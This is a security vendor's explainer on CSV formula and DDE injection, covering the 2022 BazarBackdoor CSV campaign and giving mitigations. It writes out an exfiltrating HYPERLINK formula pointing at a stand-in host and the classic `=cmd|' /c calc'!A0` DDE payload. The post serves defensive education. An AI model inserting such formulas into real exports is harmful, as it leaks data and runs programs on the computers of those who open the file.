---
title: "The Spreadsheet That Runs Formulas: How CSV and DDE Injection Works"
description: A single cell in a plain-text CSV can ask Excel to start a program. Attackers can plant it in your own exports through a web form.
image: https://explore.bowbridge.net/hubfs/Blog/File%20Security%20101/Headers/File%20Security%20101%20-%20Blog%20Header.jpeg
---

[customer login](https://www.bowbridge.net/customer-portal/) english deutsch

[![bowbridge](https://explore.bowbridge.net/hubfs/logos/bowbridge_logo.svg "bowbridge")](https://www.bowbridge.net/en/)

- [Solutions](https://www.bowbridge.net/en/sap-cybersecurity-solutions/) 
    - [Anti-Virus - Cloud](https://www.bowbridge.net/en/anti-virus-cloud-for-sap-solutions/)
    - [Anti-Virus for SAP Solutions](https://www.bowbridge.net/en/anti-virus-for-sap-solutions/)
    - [Application Security for SAP Solutions](https://www.bowbridge.net/en/application-security-for-sap-solutions/)
- [Resources](https://www.bowbridge.net/en/sap-cybersecurity-resources/) 
    - [Blog](https://explore.bowbridge.net/blog)
    - [Protecting SAP Applications from Content-Based Attacks](https://www.bowbridge.net/en/guide-to-content-based-attacks-sap-applications/)
    - [Intro to FIORI Cybersecurity](https://www.bowbridge.net/en/guide-to-sap-fiori-cybersecurity/)
    - [Case Studies](https://www.bowbridge.net/en/sap-cybersecurity-resources/#casestudies)
    - [White Papers](https://www.bowbridge.net/en/sap-cybersecurity-resources/#wp)
    - [Webinars](https://www.bowbridge.net/en/sap-cybersecurity-resources/#webinars)
    - [Partner Resources](https://www.bowbridge.net/en/bowbridge-partner-resources/)
- [About](https://www.bowbridge.net/en/about-bowbridge-software/) 
    - [Company Profile](https://www.bowbridge.net/en/company-profile/)
    - [Customers](https://www.bowbridge.net/en/customers/)
    - [News](https://explore.bowbridge.net/news)
    - [Careers](https://www.bowbridge.net/en/careers/)
- [Support](https://www.bowbridge.net/en/sap-cybersecurity-support/) 
    - [Software Downloads](https://www.bowbridge.net/en/bowbridge-downloads/)
    - [Documentation](https://www.bowbridge.net/en/bowbridge-documentation/)
    - [Support Videos](https://www.bowbridge.net/en/bowbridge-support-videos/)
    - [Contact Technical Support](https://www.bowbridge.net/en/sap-cybersecurity-support/#form)
- [Contact](https://www.bowbridge.net/en/contact-bowbridge/)

- [DE](https://www.bowbridge.net/de/)
- [EN](https://www.bowbridge.net/en/news.html)

- [Solutions](https://www.bowbridge.net/en/sap-cybersecurity-solutions/) 
    - [Anti-Virus - Cloud](https://www.bowbridge.net/en/anti-virus-cloud-for-sap-solutions/)
    - [Anti-Virus for SAP Solutions](https://www.bowbridge.net/en/anti-virus-for-sap-solutions/)
    - [Application Security for SAP Solutions](https://www.bowbridge.net/en/application-security-for-sap-solutions/)
- [Resources](https://www.bowbridge.net/en/sap-cybersecurity-resources/) 
    - [Blog](https://explore.bowbridge.net/blog)
    - [Protecting SAP Applications from Content-Based Attacks](https://www.bowbridge.net/en/guide-to-content-based-attacks-sap-applications/)
    - [Intro to FIORI Cybersecurity](https://www.bowbridge.net/en/guide-to-sap-fiori-cybersecurity/)
    - [Case Studies](https://www.bowbridge.net/en/sap-cybersecurity-resources/#casestudies)
    - [White Papers](https://www.bowbridge.net/en/sap-cybersecurity-resources/#wp)
    - [Webinars](https://www.bowbridge.net/en/sap-cybersecurity-resources/#webinars)
    - [Partner Resources](https://www.bowbridge.net/en/bowbridge-partner-resources/)
- [About](https://www.bowbridge.net/en/about-bowbridge-software/) 
    - [Company Profile](https://www.bowbridge.net/en/company-profile/)
    - [Customers](https://www.bowbridge.net/en/customers/)
    - [News](https://explore.bowbridge.net/news)
    - [Careers](https://www.bowbridge.net/en/careers/)
- [Support](https://www.bowbridge.net/en/sap-cybersecurity-support/) 
    - [Software Downloads](https://www.bowbridge.net/en/bowbridge-downloads/)
    - [Documentation](https://www.bowbridge.net/en/bowbridge-documentation/)
    - [Support Videos](https://www.bowbridge.net/en/bowbridge-support-videos/)
    - [Contact Technical Support](https://www.bowbridge.net/en/sap-cybersecurity-support/#form)
- [Contact](https://www.bowbridge.net/en/contact-bowbridge/)

![File Security 101 – Threats Beyond Malware](https://explore.bowbridge.net/hs-fs/hubfs/Blog/File%20Security%20101/Headers/File%20Security%20101%20-%20Blog%20Header.jpeg?width=1800&height=500&name=File%20Security%20101%20-%20Blog%20Header.jpeg)

# The Spreadsheet That Runs Formulas: How CSV and DDE Injection Works

Dec 1, 2026, 11:30:02 AM by Joerg Schneider-Simon

A CSV file is plain text, yet when Excel opens it, a single cell can start a program on your computer. This is episode 17 of File Security 101, our series on file-based threats your anti-malware does not see.

<iframe class="hs-responsive-embed-iframe" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border: none;" title="File Security 101 – Ep 17 – The Spreadsheet That Runs Formulas – How it works" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" xml="lang" src="https://www.youtube.com/embed/AkQbLtlU0J8?rel=0" width="560" height="315" allowfullscreen data-service="youtube"></iframe>

The video explains it in about two minutes.  
The article adds the details and the research behind it.

## A CSV is just text

CSV stands for comma-separated values: one line per row, the values separated by commas (or semicolons, or tabs). There is no binary structure, no macro storage and no place for embedded files. That is why data exports from web shops, CRM systems and ERP systems are so often delivered as CSV, and why the format looks like the most harmless file there is.

But a spreadsheet program does not just display a CSV. It interprets every cell.

## A cell can be a formula

When Excel or LibreOffice Calc opens a CSV, any cell that begins with `=`, `+`, `-` or `@` is treated as a formula and calculated. [OWASP](https://owasp.org/www-community/attacks/CSV_Injection) lists the tab character and line breaks as further triggers. This is called CSV injection or formula injection.

A formula can do more than add numbers. `=HYPERLINK("https://example.net/?d="&B2,"Details")` builds a link that, when clicked, sends the content of cell B2 to a server. And through Dynamic Data Exchange (DDE), an old Windows mechanism for exchanging data between programs, a formula can ask another program for data. The syntax is `program|topic!item`. The classic proof of concept, `=cmd|' /c calc'!A0`, asks Excel to start `cmd.exe` with a command. MITRE ATT&CK documents this as technique [T1559.002](https://attack.mitre.org/techniques/T1559/002/), explicitly including DDE formulas in CSV files.

## The attack: a name that runs

The attacker does not even have to send the file. Many CSV files are created by your own systems from data that outsiders typed in: a name in a web shop, a comment in a support form, a company name in a registration. If the attacker enters a formula instead of a name, and the export copies it unchanged, the formula sits in your own export.

When an employee opens that export in Excel, the cell asks Windows to start a program. Excel shows a prompt about remote data and asks whether to start the application. Where program starts are still allowed and the user clicks Yes, the command runs with the user's rights, for example to download and start the attacker's program.

## It happened

On February 1, 2022, [BleepingComputer](https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/) reported a campaign found by security researcher Chris Campbell. Phishing mails posing as payment remittance notices led to CSV files with a DDE formula that started `WMIC`, a Windows management tool. WMIC started PowerShell, which downloaded and ran BazarLoader, which installed BazarBackdoor, a backdoor associated with the TrickBot group that gives attackers access to corporate networks. Excel asked twice before anything ran. Vitali Kremez of AdvIntel said they had seen 102 corporate and government victims over two days.

A few weeks earlier, Microsoft's [January 2022 Excel security update (KB5010321)](https://support.microsoft.com/en-us/topic/6c925c6f-e5a0-4698-860d-2d75e70e970a) changed the default: "DDE server launch" is disabled, so cells can no longer start programs unless that setting is turned back on. CSV injection itself uses Excel's features as designed.

## Why nobody notices

A malware scanner finds nothing: a CSV file holds only text, and a formula is just text until a spreadsheet calculates it. The malware arrives later, from the attacker's server. And when the formula comes from your own export, the file even comes from a source everyone trusts.

## What to do

- Do not open data exports with a double click. Import them in Excel via Data \> From Text/CSV, and set the affected columns to Text.
- Keep "Enable Dynamic Data Exchange Server Launch" turned off under File \> Options \> Trust Center \> Trust Center Settings \> External Content. Organizations can enforce this by group policy.
- If you build exports, neutralize cells that start with a formula character, as OWASP describes, and quote every field.

Settings help only on the computers where they are set. bowbridge Content Disarm and Reconstruct parses CSV files in every delimiter dialect, including tab-separated and UTF-16 exports, and rebuilds them row by row. Ordinary cells pass through unchanged. A cell that would start a formula is kept as readable text, with the trigger neutralized, so no spreadsheet ever sees it as a formula. A file that cannot be parsed unambiguously, such as one with an unterminated quote, is refused rather than guessed at.

[Join the bowbridge CDR beta program](https://explore.bowbridge.net/en/cdr-beta)

## Sources

- [CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection), OWASP Foundation
- [Inter-Process Communication: Dynamic Data Exchange, T1559.002](https://attack.mitre.org/techniques/T1559/002/), MITRE ATT&CK
- [Malicious CSV text files used to install BazarBackdoor malware](https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/), BleepingComputer, February 1, 2022
- [Microsoft Excel security enhancements in the January 2022 update (KB5010321)](https://support.microsoft.com/en-us/topic/6c925c6f-e5a0-4698-860d-2d75e70e970a), Microsoft Support

## Subscribe to upcoming episodes

<iframe style="height: 100%; width: 100%; border: medium none currentcolor;" title="Form" xml="lang" src="https://js-eu1.hsforms.net/ui-forms-embed-components-app/frame.html?_hsPortalId=2773339&amp;_hsFormId=49c4cac1-75f8-4608-9335-ca67842bcb0b&amp;_hsIsQa=false&amp;_hsHublet=eu1&amp;_hsDisableScriptloader=true&amp;_hsDisableRedirect=true&amp;_hsInstanceId=f3dd5097-0981-40b4-9ea3-4d79acf28fa7&amp;_preview=true&amp;benderPackage=InpageEditorUI&amp;cacheBust=1796120978192&amp;cssPath=bundles%2Fapp.css&amp;inpageEditorUI=true&amp;localAssets=false&amp;portalId=2773339&amp;preview_key=aDADwkOb&amp;scriptPath=bundles%2Fapp.js&amp;staticVersion=static-1.86923&amp;preview_theme=true&amp;env=prod&amp;injectedScripts=react-dlb%2Cbundle.production.js%2Cfalse%2Cstatic-1.105&amp;hsSmartContentDefault=true&amp;hsEditorApp=blog_post&amp;sessionId=e7b99c55-6104-4f80-ad2e-28794ec45659" scrolling="no" data-test-id="embedded-form-49c4cac1-75f8-4608-9335-ca67842bcb0b"></iframe>

#### Share this on social:

[Share via LinkedIn](https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-17-the-spreadsheet-that-runs-formulas&title=The+Spreadsheet+That+Runs+Formulas%3A+How+CSV+and+DDE+Injection+Works&summary=A+single+cell+in+a+plain-text+CSV+can+ask+Excel+to+start+a+program.+Attackers+can+plant+it+in+your+own+exports+through+a+web+form.) [Share via Twitter](https://twitter.com/intent/tweet?url=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-17-the-spreadsheet-that-runs-formulas&text=The+Spreadsheet+That+Runs+Formulas%3A+How+CSV+and+DDE+Injection+Works) [Share via Facebook](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-17-the-spreadsheet-that-runs-formulas) [Share via Email](mailto:?subject=The+Spreadsheet+That+Runs+Formulas%3A+How+CSV+and+DDE+Injection+Works&body=https%3A%2F%2Fexplore.bowbridge.net%2Ffile-security-101%2Fepisode-17-the-spreadsheet-that-runs-formulas)

### Don't miss the latest SAP security news

#### bowbridge

- [Solutions](https://www.bowbridge.net/en/sap-cybersecurity-solutions/)
- [Resources](https://www.bowbridge.net/en/sap-cybersecurity-resources/)
- [About bowbridge](https://www.bowbridge.net/en/about-bowbridge-software/)
- [Support](https://www.bowbridge.net/en/sap-cybersecurity-support/)
- [Contact](https://www.bowbridge.net/en/contact-bowbridge/)
- [Customer Login](https://www.bowbridge.net/customer-portal/)

#### Contact

**GERMANY**  
 Tel: +49 (0) 6227 - 69899 - 50  
 Fax: +49 (0) 6227 - 69899-59  
 Email: [info@bowbridge.net](mailto:info@bowbridge.net)

**USA**  
 Tel: +1 650 - 617 - 3408  
 Fax: +1 650 - 617 - 3201  
 Email: [us-sales@bowbridge.net](mailto:us-sales@bowbridge.net)

#### Connect With Us

<https://www.linkedin.com/company/bowbridge-software/> <https://twitter.com/bowbridge_Softw> <https://www.xing.com/companies/bowbridgesoftware>

- [English](https://www.bowbridge.net/en/)
- [Deutsch](https://www.bowbridge.net/)

Copyright © 2023 bowbridge Software GmbH. All rights reserved. [Privacy Policy](https://www.bowbridge.net/en/privacy-policy)

```json
{
  "@context" : "https://schema.org",
  "@type" : "BlogPosting",
  "author" : {
    "@type" : "Person",
    "name" : "Joerg Schneider-Simon",
    "url" : "https://explore.bowbridge.net/file-security-101/author/joerg-schneider-simon"
  },
  "dateModified" : "2026-12-01T10:30:02.198Z",
  "datePublished" : "2026-12-01T10:30:02.000Z",
  "headline" : "The Spreadsheet That Runs Formulas: How CSV and DDE Injection Works",
  "image" : [ "https://explore.bowbridge.net/hubfs/Blog/File%20Security%20101/Headers/File%20Security%20101%20-%20Blog%20Header.jpeg" ],
  "mainEntityOfPage" : {
    "@id" : "https://explore.bowbridge.net/file-security-101/episode-17-the-spreadsheet-that-runs-formulas",
    "@type" : "WebPage"
  },
  "publisher" : {
    "@type" : "Organization",
    "logo" : {
      "@type" : "ImageObject",
      "url" : "https://explore.bowbridge.net/hubfs/bowbridge_logo_2-1.png"
    },
    "name" : "bowbridge Software GmbH"
  }
}
```